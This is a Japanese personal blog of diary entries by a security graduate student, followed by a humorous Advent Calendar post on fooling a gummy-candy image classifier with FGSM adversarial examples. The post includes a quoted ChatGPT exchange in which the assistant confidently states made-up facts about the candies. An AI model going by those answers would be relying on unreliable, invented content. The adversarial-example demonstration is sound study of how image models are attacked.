Microsoft 法務部で働いている韓国出身の方といろいろお話しました。ここでの話は本質を突いているようなトピックが多かったように思う。成功を掴むにはやはり真っ当な努力が必要であると感じた。まずは環境を変えて強制力を利用する、継続的に取り組み続ける、自分の上司を成功させることが自分の昇進につながる、希少価値を高めるための分野の組み合わせ、PhDの取得、この人と一緒に仕事をしたいと思わせるスキルとユーモア、結局は人と人とのつながり、などなど示唆に富んだ話をたくさんしてくれました。

2023年9月23日

2023年9月24日(日)

シアトルを発ち、今はサンフランシスコに来ています。1週間の短期留学もいよいよ帰るだけになりました。ロストバゲージから始まったトラブルの連続を含めて、色々あったなぁと日記を読み返しています。

Microsoft 法務部の方とお話しした後の自分の中ではいい話を聞けたなという感想だけでなく、そうは言ってもなぁという少しモヤモヤもあった。僕は海外で働きたい気持ちは正直ないし、外国人と英語でコミュニケーションが取れるようになることもそこまで望んでいない。だから話を聞いて英語やっていかんとなと感じはしたけど、そこに強烈な衝動は生まれてはいない。インターネットに落ちている情報は日本語よりも英語の方が圧倒的に多いこと・日本語は世界共通語にはなれないことは理解しているので、やらんとなとは思っている。つまるところ、必要になった時に恥をかかない程度に英語ができていればよいと思っている。だから必要に迫られてやる英語は全然おもしろくないし、適当な勉強ばかりしている。いつまで経っても英語ができるようにならない理由がここにある。

ホテルのラウンジでクラフトビールが振舞われていたのでグビグビ飲んでいたらメキシコからやってきた人たちに話しかけられました。アルコールが入っていたので初めて適当に喋ることができた気がする。きれいな文を話せるようになりたいと高望みはしていないつもりだけど、その裏でいろいろ考えてしまっているから目の前の英語に集中できなくて、なかなかうまくコミュニケーションが取れずにいたのだなぁと感じた。おそらく自分にはもうちょっと俗っぽさが必要で、頭空っぽにどうでもいい会話をすることが大事なのかもしれない。最後の最後でちょっとした気づきがあった。その後はイギリスから来た御一行とお話していました。

もちろん楽しく過ごしていた1週間ではあったけど、日本に帰ってきてこれがキャリアとかにどう影響を与えそうかと言われても正直ピンと来ていない。不必要に怖がってしまっていたのがかなり解消されたのはよかったと思う。入国審査はご免だけど。いろいろ考えられる年代になって初めて海外にいったので、この1週間で感じた何かが長期的に影響を与えてくれたらいいかなとは思う。

短期留学終わり。ここに書いているとおり、海外でキャリアを積んでいきたいという気持ちはあまりない。

でも C2C CTF で感じたコミュニケーションが取れない寂しさを緩和したり、英語で語るべきものを英語で語れるようになるために英語を勉強してみてもいいかもなとは思った。

それも含めていい経験になったと思う。

2023年9月24日

2023年9月29日(金)

ひたすらにポン・コツ太郎だった。やる気ないからと言ってエナドリに手を出すのをやめたい。やる気ない時はエナドリ飲んでもやる気は出ないんだよな。何もしないよりマシかと思って飲むけど。思えば帰国してから鞭打つために毎日飲んでいました。明日はコーヒーだけにします。

カメムシが大量発生しています。今日家を出たら扉の前に3匹カメムシが鎮座していました。駅まで歩いている時も地面にチラホラいて、夜大学から帰る時は駅の灯りに大量に群がっていてちょっと引きました。やれやれと思いつつ電車に乗ってもう安心と思った束の間、車内に2匹いて、1匹は一生飛び回っていたので阿鼻叫喚です。目の前も飛ばれるので上半身の可動域を最大にしてピングーみたいに体をウネウネさせてカメムシを躱していました。

人類は(主語デカ)どうしてあんなに小さい虫にビビらないといけないんですかね。体格差違いすぎるはずなのに、目の前で小さな虫さんと対峙した瞬間体が硬直して、音は何にも聞こえなくなって、時間が止まったように錯覚します。タイマンしたら絶対勝てるのに、人類(主語デカ)は必要以上にビビりすぎているのです。僕が本気を出せばアースジェットを持ってきて場を一層させることができるんだぞという気概を持って、これからは虫どもに立場を弁えさせていけるよう精進してまいります。

そういえば、ピッツバーグではランタンフライが大量発生していました。ランタンフライの見た目はぱっと見美しいのですが作物や生態系に大きな影響を与えているようで、ピッツバーグの民はランタンフライを見つけた瞬間血相を変えて殺しにかかっていました。

2023年9月30日(土)

今日は久しぶりのIPFactoryLTでした。IPFactory というのは専門学校時代の情報技術サークルです。技術に貪欲な学生が集まる、言ってしまえば放課後一緒の教室で勉強して閉館時間になったら帰るというだけのサークルです。時たまコンテストに一緒に出場したり、サークル内LT大会をしたりしていました。僕が4年間頑張ることができたのは確実にこのIPFactoryのおかげなのです。

僕が卒業してから初めて、現役生と卒業生が集まるLT大会を開きました。これぞIPFactory以外何でもない、懐かしい雰囲気です。それぞれの進路を歩んでいる卒業生と、気づいたらめちゃくちゃ強くなってる現役生とが交流できる貴重な機会でした。もうなんか先輩後輩の関係というより、仲間という感じです(偉そうなことを言ってます)。当たり前のように存在していたサークルではありますが、学外の人と話していると、こういう学内の技術コミュニティというのは結構羨ましがられるので、コミュニティは大事にしていきたいものです。また集まれるといいな。

2023年9月30日

2023年10月2日(月)

プロジェクトマネジメントの基本の一つは”今誰がボールを持っているのかを常に意識すること”だと思うけど、なんか今日は時限爆弾をいかに相手に擦り付けるかゲームをしている自分がいた。う~ん、合理的なそれらしい理由をつけて自分は悪くないと保身に走ることはできるけど、たぶんよくない。なんだろう、自分の道理に反する。自分ひとりで解決できる問題じゃないから協力してくれる他者がいるというのに、これじゃあ協力の欠片もないというか、自分がまったく主体的じゃないというか、責任を持ちたくないから相手に擦り付ける傍観野郎になっていた。他力本願という言葉がよく似合います。そんな自分であると、自分に不都合なことが起こるとあたかもそれを分かっていたかのように言い訳するカスになってしまう。当事者意識をどうやったら持てるようになるかな、always 当事者意識を持てるように意識するところから始めます。

2023年10月12日(木)

ふと外を見たら真っ暗で、時間を確認したら18:30でした。少し前まで19:00過ぎても明るい印象だったので、冬に差し掛かっているのが垣間見えます。 大学の近くに花壇があるんですが、夏ひまわりが咲いていたところにオレンジ色のきれいな花が植わっていました。花の種類全然わからないのでマリーゴールドってやつかなと思ってあいみょんの『マリーゴールド』を歌いながら検索したら全然違って、おそらくキバナコスモスという花でした。キバナコスモスの花言葉は野生美らしい。僕はあんまり野生美という言葉を贈る機会はないかも。 今日朝起きた時明らかに調子が悪くて若干喉もやられていたので、体調整えるために早寝早起き意識していかんとなと思っていたはずなのに、夜中ずっとパソカタしてて気づいたら日が昇り始めてる。一区切りついてどっと疲れたのでとりあえず寝るようにします。

2023年10月12日

2023年10月16日(月)

いろいろやっているが進捗が無さ過ぎて喫煙所で休憩してるとき手が勝手に「研究 なんもわからん」とかで検索してしまい研究が下手な学生の特徴を見てはあぁ自分だと落ち込むことをやってた。おハーブ枯れ散らかしますわね。うるせぇと自分に言い突っ撥ねる根拠のない自信とか自信を持てる根拠が欲しいよな。最近はポジティブになろうとすることを諦めて、ネガティブの底に微かにある希望を探している気がする。今日もなんも進まなかったなとトボトボと研究室を後にしたら外は金木犀の香りで漂っていたので一駅分お散歩して帰りました。

2023年10月21日(月)

なんか今日、なんかZoomでミーティングするけど都合が合わないから録画をしてくれと頼まれて、まぁ録画をしたんですよ。で、えーっと録画した動画データをなんかSlackにアップロードしたんですね。そしたらなんかSlackに自動文字起こし機能があって、なんか動画の内容が自動でなんかテキストになっていたんですよ。でまぁその文字起こしされたテキストはキレイな日本語に整っていないというか、なんかまぁ言ったら一音一音そのままを文字起こししているので、まぁ文字起こしテキストを見ていると「えっと」「まぁ」「なんか」だらけで泣いちゃいました。なんか減らないんですよね。まぁ意識していないというわけでもなくて、まぁなんか話す内容に集中するとなんかどうしても「なんか」がなんか出てしまうんですよね。えっと、直していきたいです。

↑もう忘れてそう。矯正します。

2023年10月27日(金)

日記を見返していると自分の状態がよく反映されていることがわかります。明らかに元気な時には小ボケを入れたり、ちょいと無理しているときは「疲れた」という表現をストレートに使ったり、自分でなんとなくわかっているつもりのものが文字として反映されています。せっかくメタ認知できる材料を収集できているので、カイゼンできるように努めないとですね。今日は疲れた。いったん寝ます。

ふらふらしつつも、自分の状態を日報から把握できるようになってきた。 沈んだ時に元の状態に戻せるように操作したいけど、それはまだまだ難しい。トリガーがわからない。

2023年10月29日(日)

今日は始発の飛行機で横浜にある母校へ行きました。家を出た時はまだ太陽が昇っておらず、月明かりに照らされていた神戸港はとても綺麗でした。

忙しい間を無理くり作って横浜にある母校の学園祭に顔を出して後輩や先生に挨拶をしてきました。専門時代は先の知れた未来を信じたくなくて、抗い続けるために自分を殺す生活をしていました。そんなふたばと青年は4年間学校に歯向かい続けていた。こんなことやっていても意味がないだろと学校に文句を言い続けていた僕はめんどくさい学生だったと思う。何度辞めてやろうと思ったことか。今思うと”正しさ”というものに拘りすぎていたのかもしれない。キレイゴトを並べて特待生をもらってからは、内部特待生の力を自分だけでなく他の学生に向けて使っていたのが自分にとって大きな影響を与えていたものになっていたと思う。おかげさまで母校に顔を出したら挨拶してくれる人が何人もいて、お世話になった人とたくさんお話したりして、戻ってきてもいい居場所になっているのかなぁと感じた。自分の居場所があるのはありがたい限りです。

2023年10月29日

2023年10月30日(月)

今日も始発の飛行機に乗りました。羽田から福岡へ飛び、天神で開催されるCSS2023に参加しています。CSSは昨年度も参加していたのですが、初めて学会に参加した去年はどの発表も正直なんもわからんという感想だった気がする。メモを取ろうとしても自分の知らないことがあまりに多すぎて、なんだかぼーっと発表を聞き続けていた記憶があります。今年はなんかちょっとくらいわかった気になれている自分がいます。この1年で技術のレベルが大きく上がったとはあんまり思えていないのですが、わかる発表は普通によくわかる。研究の発表に対して落ち着いて見れるようになっているのかもしれないと思えた。

福岡、ご飯があまりに美味しい。豚骨ラーメン食べやすすぎてびっくりした。天ぷらもうどんも最高でした。

2023年10月30日

2023年10月31日(火)

この1, 2週だけでも数回、自信を失いかけている人にソンナコトナイヨと言っている。本当にソンナコトナイヨと思っているんだけど、自分が口下手すぎて理論武装すらもしてあげられなくて、ただ首を横に振りながら気持ちの籠ってないソンナコトナイヨを言っている。

CSSでの発表を聞いていて、国際会議に通すこととか、革新的な研究をすることとか、自分には無理なんじゃないかというお気持ちになってきた。これは気分の波が下がっているからそんな思考になっているというのはあるけど、そんな自分に対してもソンナコトナイヨと言うことが難しいんだからそりゃ他の人にソンナコトナイヨと言ってあげられないわけだ。別に偉大なことを成すことだけが素晴らしい人生じゃないと(特に他人に対しては)思うけど、あー無理だと諦めてしまうような自分がいます。

10月30日~11月1日は福岡で開催された CSS2023 に参加していた。 学会なんだから楽しんでいたらいいのに、内心結構しんどかった。

2023年11月1日(水)

いや最近あんまりよくない調子だぞと思って、CSSに来ていたSecHackの先輩アシスタントをご飯に誘って相談させてもらいました。自分の存在意義とか、自分のやっていることに意味があるのだろうかと別に考えなくてもいいことを気にしてしまう。嫉妬や羨望の気持ちを抱くことなく、純粋な尊敬の眼差しで見ていたいだけなのになぁ。

MWSでスーパー豪華なパネリストがキャリアについての話されていた。自分のやっていることが意味があるのだろうか?と思ってしまう(これは大学の先生もそんな悩みを抱えていたらしい)けれど、それでいいらしい。 わかっているつもりだけど、僕にできることって、とにかく続けることだよなと思った。

2023年11月2日(木)

イカれた旅程も最後、夜行バスで博多から帰宅しました。洗濯を1回だけ回して、朝から大学に行きました。CSSで全然手につかなかったギョウムを必死でこなしながらカスと一生言っていた一日でした。平日3日吹き飛ぶと前後の調整がこんなに大変なんだなと感じています。薄々気づいてきたが、僕は結構な稼働をしているらしい。でも成果の無い真面目な自分って、惨めに見えない?

2023年11月4日(土)

食欲の無さと朝起きた時の暑さで夏バテみたいになってる。

SecHackの集合回が近いので、マンダラートをメンテナンスしました。 1週間くらい、日報の投稿するのを控えていました。マンダラートには、”あんまりネガティブな言動を発しないようにする”と書いているくせに最近はひどいものです。言霊になってしまうので控えたいよなと思って書いたものだけど、ネガティブな発言こそ自分らしいよなと諦めている節があります。ただネガティブな思考を記述するのはいいとして、それを見てしまっていい気分にはならない人もいるはずなの、最近は投稿するのやめておこうかなぁと感じていました。気にしぃである。

しかしマンダラートには”自分の弱さをさらけ出す勇気”とも書いてあります。日報を止めたら毎日何かするのが止まってしまいそうな気がするし、止めるくらいならさらけ出す方がいい気がする。おれっちは弱いんだから優しくしてくれヨと前面に出して、日報は隠れフォロワ―以外だれも見て無いやろ精神で投稿します。

7月26日と同じことを考えている。 いろいろ考えすぎちゃうけどその人間味があって良いと隠れフォロワーが言ってくれたので気にせず(気にはしてるけど)日報は続けることにした。

2023年11月18日(土)

日報を始めたのは昨年のSecHackの秋の集合回だと記憶しているので、今日でだいたい一年記念です。この一年でいったい僕は成長できているのだろうか、あんまり自信が持てなくてこれまでの日報を漁っていた。日報を振り返ったうえでの自己評価としては、うーん、あんまり進んでいないのでは?という感じです。MBSDのコンテストで優勝して、SecHackでしんどくなっちゃって、大学院に入ってからはその場しのぎの生活を半年間してしまっていたなぁ。どうしたら前に進んでいると思えるのだろう?

僕は優しさで取り繕った、中身は本当に冷たい人間です。近い領域に来られるととたんに冷たくあしらう振舞いをするのですが、その領域には自分が常に居るので、自分に対して異常に厳しいオタクになるのです。輝かしい人を見ていると、そうでない自分が対照的に惨めに見えてしまいがちです。おそらく自分にはまだいろんな可能性があるのだとどこか信じている自分がいて、そうはなれないのだと多方面から察してしまうたびに悩んでしまうのです。憧れの誰かになることはどう頑張ってもどう焦ってもなれないこととか、他の誰かを見ていてもしょうがないなと正しく認識することができるようになりたいな。たぶんそれが大人になることの良さだったり寂しさだったりするんだろうけど。

周りの天才たちと比べてしまう悲しきモンスターを守るための習慣化があるのかなぁと感じています。明日はどんな1日にできるかな。

また主なる神は言われた: ”人がひとりでいるのは良くない。

富士通羊羹ボーナスをいただきました。

2023年11月18日

2023年11月22日(水)

最近はただコメントするだけじゃいけないよなぁと考えています。”何か言わなきゃ”に囚われて、粗探しのように発言してしまっていたこともありました。コメントを受けた人は混乱するだけになってしまって、無理やり捻りだすことはあまり良いことではないのかなぁと感じています。だからわからないということはわからないと伝えたり、自分がどこまで理解できているのかを伝えたり、空気を読んであえてコメントしなかったり、もう少し高尚な立ち回りができるようになりたいです

2023年11月26日(日)

9:00前に寝て、起きたら18:00だった。返してくれオレの日曜日…とか思ってたけど0:00からカウントすれば今日も15時間以上パソコンに向かい続けているんだよな。”今起きました”投稿をしたらミーティング中であろうとある集団から連続でいいねがきて「ふたばとさん今起きたらしいよ」とZoomで笑われているのかなと思いながらシャワーを浴びていました。

今日は思索駆動に潜入して人材育成とは何なんだろうなぁとしんみりとしながら考えさせられた。いろいろとぐるぐる考えが回って一つ思ったのは、何かある特定の一つの答えを導き出さなくてもいいなと感じた。これまでの成果をうまくまとめるのもいいと思うし、通過点として使っていくのもいいと思うし、とにかく参加してくれた人が満足して終えてくれたらそれでいいよな。断片的な情報しか見ていない外部の人間に「予算に見合った成果は出ているのかどうなんだ」とか言われるかもしれないけど、「それでいいじゃねぇか」と突っぱねるのが大人の仕事だったりするのかなと思う(勝手なことを言っています)。なにより一番物悲しいのは、自分の足で歩んで吸収してきたすべてのことを、無駄だとか、自分はダメなんだとか、人やものの存在を否定してしまうことなんだろうなぁとは思う。傲慢は自分を下げるが卑下はコミュニティ全体を下げる。度を超える卑下は謙虚というものではなくなり、自分に対して発言しているつもりが自分のことを応援してくれている人をも傷つけてしまう。

いろんなものに揉まれていく中での得られてくるふとした気づきとか、磨かれていく感性を大事にしていきたいです。みんなでオモロイことやっていきたいよな。

2023年12月3日(日)

日曜日が秒で過ぎてしまっていてなんとかせないかんと思って20:00ごろにそうだ温泉に行こうと思い立ちました。調べてみると有馬温泉は三宮から片道30分で行けるということを知ったのでシュッと行ってきました。片道電車賃690円したけど。

有馬温泉は2回目です。1回目は高校生の時、ふたばと少年がまだ無限の体力を持ち合わせていた頃です。替え玉無料のラーメン屋さんで替え玉7回やってた頃です。大阪からママチャリで有馬温泉に行きました。南千里で集合して、石橋阪大前で写真撮影して、宝塚に向かって、宝塚から有馬温泉まで10キロ越えの山道をギアもないママチャリで駆け上がりました。坂がキツすぎて2時間半くらいかかったのを覚えています。 有馬温泉駅に着けば、駅の裏にあった駐輪場に自転車で来るバカヤロウしか停めないだろってツッコミながら停めたこととか、有馬川のところではしゃいでたこととかを鮮明に思い出して、7, 8年前に廻った有馬温泉街を地図も見ずに辿ることができました。

そんな当時の写真はまだ携帯に残っているので見返すこともできるんだけど、当時のふたばと少年は何も努力していないばかりに今よりもずっと希望に満ち溢れた笑顔をしていた。現実を見ることが正しいとかそういうことではないけど、少なくとも認識ぢからは著しく低かったと思う。

また7, 8年も経てば今の自分なんてお子ちゃまなんだろうなと感じながら、高校時代のふたばと少年に思いを馳せて、金の湯上がりのコーヒー牛乳をググッと一気に飲み干した。

2023年12月3日

2023年12月9日(土)

今日はSecHack365 Returnsでした。朝一で東京へ行き、終電で神戸へ戻るムーブをしていました。平気で往復3万円くらいかかるので、最近旅費すごいしまぁいいかとなっていたけど、行ってよかったです。

Returnsでトレーナーに感謝を伝えることができました。いや本当にできたかな。いざ話そうとするとなんかうまく言葉がでてこなくてしどもどしちゃったけど、そのための菓子折りであります。うまく感謝を伝えられなくても最悪お菓子突き出して「ありがとな!」と言えたらいっかと思ってたら割とそんな感じになってしまった。もうちょっと何言うか考えて臨むべきでした。

あまり多くは語らないけど世の中は自分が思っている何倍も俗っぽい。いやいやそれでええんかいと思ってしまうけど、事実世の中案外それでバランスが取れている。これでも今年はかなり肩の力を抜いて過ごせているけどまだまだお堅い御様子。不器用で意地っ張りで馬鹿真面目なあなたに幸あれ。

うまく伝えられたはさておき、1月の僕に立ち直るきっかけを与えてくれて、今日まで支え続けてくれた方たちにお礼を言えた。

いつもありがとうございます。

2023年12月9日

2023年12月10日(日)

朝起きて午前中のうちに仕事を片づけて、お昼はお寿司を食べて、部屋の掃除をして、課題をやって、ごはんを作り置きして、お昼寝して、研究して、これでいいんだよなという休日を過ごしていました。 今日は無水カレーのリベンジ第3弾をやりました。第1, 2回は水分が思ったより出てくれなくてカレー味のなんか水分が無いやつになっていたのですが、今回はめちゃくちゃ良い感じです。トマトの力をふんだんに使ったのでトマトの主張がとても強いです。いいんですが、もう少しスパイスが利いていてほしいなと感じたので、第4弾は市販のカレールウではなくスパイスから挑戦してみようと思います。

2023年12月11日(月)

昨日作った無水カレーではなく、何故かからあげが食べたくなってからあげを作って優勝していました。好きな時に好きなものを食べられるのが大人ってヤツです。からあげといっても、油で浸して揚げずに揚げ焼きのような感じで作るので使っている油の量はそんなに多くないはずです。

お店で食べるより全然ヘルシーやろと思いながらモグついていたのですが無事胃もたれになりかけています。好きな時に好きなものを食べられないのが大人ってヤツです。最近はもうトンカツには連敗してる。油そばは想像したら胃もたれする。大盛りを注文する勇気は無い。いいかい学生さん、トンカツをな、トンカツをいつでも食えるくらいになりなよ。ただしトンカツをいつでも食べられる経済力を持つ頃には胃はトンカツを受け付けなくなるんだ。

日記は自分の精神状態に影響を与えたような出来事をとりあげがちだったけど、もっと気楽に、なんならパソコンから離れたような話題を探すようになった。

2023年12月16日(土)

某誇る会の録画を見て、僕も誇る習慣をつけていかんとなと感じた。

マンダラートにあるように、今年度は卑下しないことを目標にして、それを強く意識して過ごせています。ただ誇る会を経て感じたこととして、「卑下しない」と「誇る」との両者の意味合いはぱっと見似ているかもしれないけど、「卑下しない」という「自分を下げる行為を”否定する”こと」と「誇る」という「自分の行為を”肯定する”こと」とは全然違うかもなと感じたということがある。ずっと前者のことばかり意識してしまっていたものなので、後者の肯定することを大事にしていきたいと思った。

自分の得てきた経験が何に繋がっていくのかはわからない。後からその本人だけが点と点を繋ぐことしかできない。ある地点における結論というのは、そこに至るまでのシンプルな道のみで構成されているわけではなく、発生したイベントや辿ってきた逡巡すべてのものがたまたま存在して何らか寄与して終着点を構成してくれる。だからあらゆる通過点を褒めていく必要がある。 せっかく僕が自分の思考の変遷を辿れるように日報は続けているのだから、やったことに関しては自信を持てるようになりたい。他者が誇りに思っていいんだよと言ってくれたとしても自分の心の奥には響いてくれないので、自分でどうにか変えていくしかない。

ところで、今日の僕の誇れることはなんですか?う~~~ん、お昼寝して睡眠負債を返済していたことばかりが浮かびます。簡単に誇れるならもっと楽しく生きてるわなという感じです。褒めるためのハードルを下げて、ぼちぼち誇っていきます。

2023年12月18日(月)

昨日わたくしは季節柄の挨拶で「12月なのにこんな暖かくていいんですかねぇ令和ちゃん」と発言したのですが、今日からいきなりゲキサム週間らしい。令和ちゃん!!!

研究室も暖房が直に当たる場所だと顔当たりはぽかぽかしますが、かなり足元が寒い。ひざ掛け的な something が求められます。家じゃ絶対できない eval(4 + 24) + ‘℃’ の強にして数時間暖房をつけるといい感じに足元も暖かくなりました。でもちょっと寝るのに良すぎる気温になってしまって軽く気絶した。

誇る会に引き続き影響を受けています。意識しようとしてもすぐ忘れてしまうので、文字として残して積み重ねていけるよう試験的に「今日の誇ること」コーナーを設けました。

日報に「今日の誇ること」コーナーを設けるようになる。ただこれがかなり難しい。 何かを誇ろうとすることに何時間もかかって結果睡眠時間が減ることになってしまっている。誇り慣れたい。

2023年12月22日(金)

今週はポンコツだったなぁ。今日はなぜか上着を着忘れて外に出てしまい、帰りが地獄だった。さすがに日に日に冷えてきている。僕の中のエルサは先週「少しも寒くないウェイ♩」と言ってたはずだが今日のエルサは平気で寒がってた。 今日の夜ご飯何作ろうかなと思いながらスーパーへ向かったら今日が冬至であることを知りました。季節の行事を楽しむことは割と手軽に感じられる幸せだったりするよなと思い、ゆずを購入しました。でも自分でゆずを買ったのはおそらく初めてで、大根とか白菜との親和性は高そうだけど具体的に何を作ったらいいのか全然浮かばなかったです。いろいろ調べているとゆず塩ラーメンが目に留まったので自作ゆず塩ラーメンをしました。初めてにしてはいい感じだったので就活を辞めてラーメン激戦区に出店しようと思います。

2023年12月29日(金)

コミュニティを断つことは簡単、でもコミュニティを維持すること・居続けることには人やコミュニティによっては努力が必要と感じるかもしれない。そのコミュニティに強い否定的な感情を持っているわけではなく、単に唐突に人間関係を断ちたくなる気持ちはよくわかる。すべてがどうでもよくなってくるよな。でもコミュニティに居続けることに意味を求めようとはしなくていいし、周りはただ居続けてくれるだけで安心するもんです。いつの日か気が向いたら顔を出しに来てくれたらそれで十分なんだよな。

僕の考えすぎか、向こうの考えすぎか、あるいはそのどちらでもあるかわからないけど、一人になっちゃだめですよ、いつでも戻ってくるんやで~と声をかけておいた。


2023年を通じて、精神的な成熟度はかなり高まった気はする。 自分をうまく乗りこなすために、いろいろ試行錯誤する一年だった。

マンダラート2023

マンダラートを見ると、できるようになったことは結構あるように見える。 でもできなかったことはとことんできなかった。これは時間が解決してくれるようなものではない気がしていて、またいろいろとやり方や根本の考え方をアップデートしていかないと一生できないままになる気がする。その気づきを与えてくれた。

マンダラート作成時の目標が習慣化されて、次なる目標も芽生えてきた。 まず2024年の上半期は、自分を褒めて誇る習慣を身に着けていきたい。どうせまた波の激しい日常が待っているんだろうけど、自分を護ってくれるのが習慣化の力です。

富士通羊羹を食べて、全身を習慣化の鎌足にしていこう。

一生 SecHack します。


2024 年もお世話になります。

みなさま、良いお年をお迎えくださいませ。

敵対的ポイフル

この記事は IPFactory OB Advent Calendar 2023 25日目の記事です。

qiita.com


はじめに

こんにちは、ふたばとです。

つぶグミは言わずと知れたウマスギ物質の一つです。最近値上げしてしまったり内容量が減ったりしまっていますが、それでも1袋 130 円程度で 80 gも入っているのでとても満足できる商品となっています。個人的に弾力も完璧で、味・量・食感・価格などの観点から総合第一位のグミとなっているため、どのグミを買おうかと迷ったらつぶグミを購入するようにしています。一時期、一口で十何粒を食べるオーバードーズにハマっていたのですが、ドン引きされたのでもう辞めました。

つぶグミ

つぶグミと双璧をなすウマスギグミに、ポイフルがあります。ポイフルはつぶグミに比べてやや酸味が強く、弾力はやや低いです。このため、つぶグミをオーバードーズすると顎関節症を発症する可能性がありますが、ポイフルでオーバードーズをしても顎を痛めつけない設計になっています。

ポイフル

なんならつぶグミは奥歯を破壊する報告がなされています。

www.youtube.com

もとより、ポイフルとつぶグミは販売者から異なる全く別物の商品です。 見た目としては正直ポイフルが少し白くコーティングされている印象を抱きますが、それ以外の大きさや形などはほとんど同じように見えます。

みなさん、エーアイを使ってイイ感じにポイフルとつぶグミの分類をしたいと思ったことはありませんか?私はありません。 私は別にないんですが、彼はありました。

今回はポイフルとつぶグミを識別する画像分類器を作成して、つぶグミであると誤認識されてしまう敵対的ポイフルを作成してみようと思います。

データの準備

オープンなグミデータセットなんてあるわけもないので、つぶグミとポイフルを購入してクリスマスイブの夜に一粒一粒写真を撮りました。 「クリスマスイブの夜に何をやってるんだ…?」と思ってしまうと負けです。無心で作業することが重要です。

手持ちの Web カメラの画質がかなり悪かったので iPhone のカメラで撮影しました。HEIC を JPEG に変換することで画像データを用意しています。

木目調のおぼんにグミを乗せて写真を撮りました。背景情報を加味してほしくないので、できるだけシンプルなヤマザキ春のパンまつりで貰えるような白いお皿に乗せて写真を撮ろうとしましたが、光の反射で逆に撮影が難しかったです。

ポイフルデータセット

できるだけカメラの高さやグミの位置などは統一して撮影したつもりですが、すべて手動でやっていたため、画像ごとに厳密な撮影条件は異なります。

また、ポイフル → つぶグミの順に撮影したのですが、作業に慣れてくるほど安定した撮影ができるようになってきたため、全体的にポイフルのデータは品質があまり高くないように見えます。Data Augmentation でどうにでもなるでしょと高を括って作業をしてしまっていました。

EDA

撮影して得られたデータをよくよく分析すると衝撃の事実が発覚しました。

ポイフルは一袋 80g 56 粒だった一方で、つぶグミはなんと一袋 80g 58 粒でした。これはつぶグミに軍配が上がったことでしょう。しかしポイフル、なんとハート型のグミが2つも入っていました。これはどちらの方が優れているのかという比較が難しくなってしまいました…。みんな違ってみんないいのです。好きなグミを食べましょう。

グミ分類器の実装

つぶグミとポイフルを分類するエーアイを作っていきます。

Torchvision で提供されている事前学習済みモデルを使うと簡単にグミ分類器が作れるだろうと判断しました。

cross-validation はしません。sklearn の train_test_split で データの 25% をテストデータに回しました。データ数はお世辞にも多くないので、Data Augmentation で誤魔化していきます。

当初は pretrained ResNet-18 でグミ分類器を作ろうとしたのですが、Accuracy 0.5 程度で実はそう簡単にできないということが分かりました。データの量を含む品質が悪いのですが…。

データの品質を上げるための作業時間は取れなかったのでいくつか試行錯誤をしました。 結果的には ResNet から MobileNetV3 にモデルを変更すると少ない epoch 数でも Accuracy 0.9 を超えるモデルを作成することができました。

正しくポイフルと予測できている例

正しくつぶグミと予測できている例

敵対的ポイフルの脅威

グミ分類器ができました。やったねと言いたいところですが、ここから先が本番です。

つぶグミと誤認識されてしまう敵対的ポイフルを生成していきます。

まずはセキュリティ要素として敵対的ポイフルの脅威を考えたいなと思い、 ChatGPT くんと議論しました。

ふたばと:

ポイフルとつぶグミの違いを教えてください。

ChatGPT:

ポイフル(puyofuru)とつぶグミは、日本のお菓子の種類です。ポイフルは、ジェリー状の食感で、一般的に色とりどりな小さな球状のもので、重なったり結びついたりして楽しい食感を提供します。一方で、つぶグミは、ゼリーの中に果肉や果実のつぶつぶが入ったもので、噛むと本物の果物のような食感が楽しめます。基本的な違いは、ポイフルが球状でジェリーのみ、つぶグミがゼリーに果物のつぶつぶが含まれている点です。

ふたばと:

ポイフルとつぶグミは似ていませんか?

ChatGPT:

はい、ポイフルとつぶグミは似ている点があります。どちらもゼリー状の食品であり、楽しい食感や色とりどりな見た目が特徴です。ただし、違いはポイフルが球状の小さなもので、つぶグミがゼリーに果肉や果実のつぶつぶが含まれていることです。同じジャンルのお菓子ではありますが、微妙な違いがありますね。

ふたばと:

敵対的ポイフルとしてつぶグミであるとなりすます輩が居ると考えられます。敵対的ポイフルの脅威を教えてください。

ChatGPT:

敵対的ポイフルの脅威を考えると、例えば以下のようなアイディアがあります:

  1. 形状変化能力: 敵対的ポイフルが変幻自在に形状を変え、つぶグミに擬態して混ざり込むことができます。これにより、見た目では区別が難しくなります。
  2. 口の中での爆発: つぶグミとして摂取された時に、敵対的ポイフルが口の中で爆発的に拡散する能力を持っているとします。これにより、口内に混ざっていたつぶグミを破壊し、口内全体に影響を与えることができます。
  3. 催眠効果: 敵対的ポイフルがつぶグミとして摂取されると、催眠効果を発動し、食べた者を操ることができる能力を持っています。これにより、ポイフルはつぶグミを通じて敵対的な影響を及ぼすことが可能です。

これらの要素を組み合わせて、敵対的ポイフルがつぶグミに変装して様々な脅威をもたらす概念を作り上げることができます。

ふたばと:

それは恐ろしいですね…。つぶグミになりすますポイフル、俺許せないです…!!!!

ChatGPT:

その感情は理解できますね。ポイフルがつぶグミになりすむというアイディアは、ちょっとした冒険心やユニークな発想から生まれたものかもしれませんが、心配せずに、実際のお菓子は安全で楽しいものであることを覚えておいてください。美味しいつぶグミをお楽しみいただくことができるといいですね。

敵対的ポイフルの生成

閑話休題

今回はより洗練された攻撃というより、敵対的ポイフルという存在自体を作り上げることが目的なので、White-box Attack で一番有名な FGSM*1 を使って敵対的ポイフルを作ります。

Accuracy と Epsilon の関係を見てみると Epsilon=0.05 より強くしても精度がそこまで落ちていないことがわかります。

Accuracy vs Epsilon

これもデータが少ないことが問題な気がしますが、Accuracy 0.5 を下回る時点でランダムな選択より精度が低いことになるのでよいこととしましょう。

敵対的ポイフルの例

生成された敵対的ポイフル(Epsilon=0.05)を見てみましょう。

Adversarial Poifull

Augment 時に正規化しているため撮影時のデータよりもやや暗くなった画像となっています。

これにて、つぶグミであると誤認識される敵対的ポイフルを作ることができました。やったね。 データセット作成に用いたグミはスタッフがおいしくいただきました。


本稿の内容を LT として発表しました。

speakerdeck.com


この記事は IPFactory OB Advent Calendar 2023 25日目の記事です。

qiita.com

現役生のアドカレはこちら。

qiita.com

昨日 24 日目の記事は n01e0 の SECCON 2023 Capsule CTF Writeup でした。

feneshi.co

なんとか今年も命のリレーを完走することができました。

来年度もどうぞよろしくお願いいたします。よいお年をお迎えください。

*1:Goodfellow, Ian J., Jonathon Shlens, and Christian Szegedy. "Explaining and harnessing adversarial examples." arXiv preprint arXiv:1412.6572 (2014).

LEAF -A Benchmark for Federated Settings-

この記事は IPFactory OB Advent Calendar 2023 23日目の記事です。

qiita.com


こんにちは、ふたばとです。

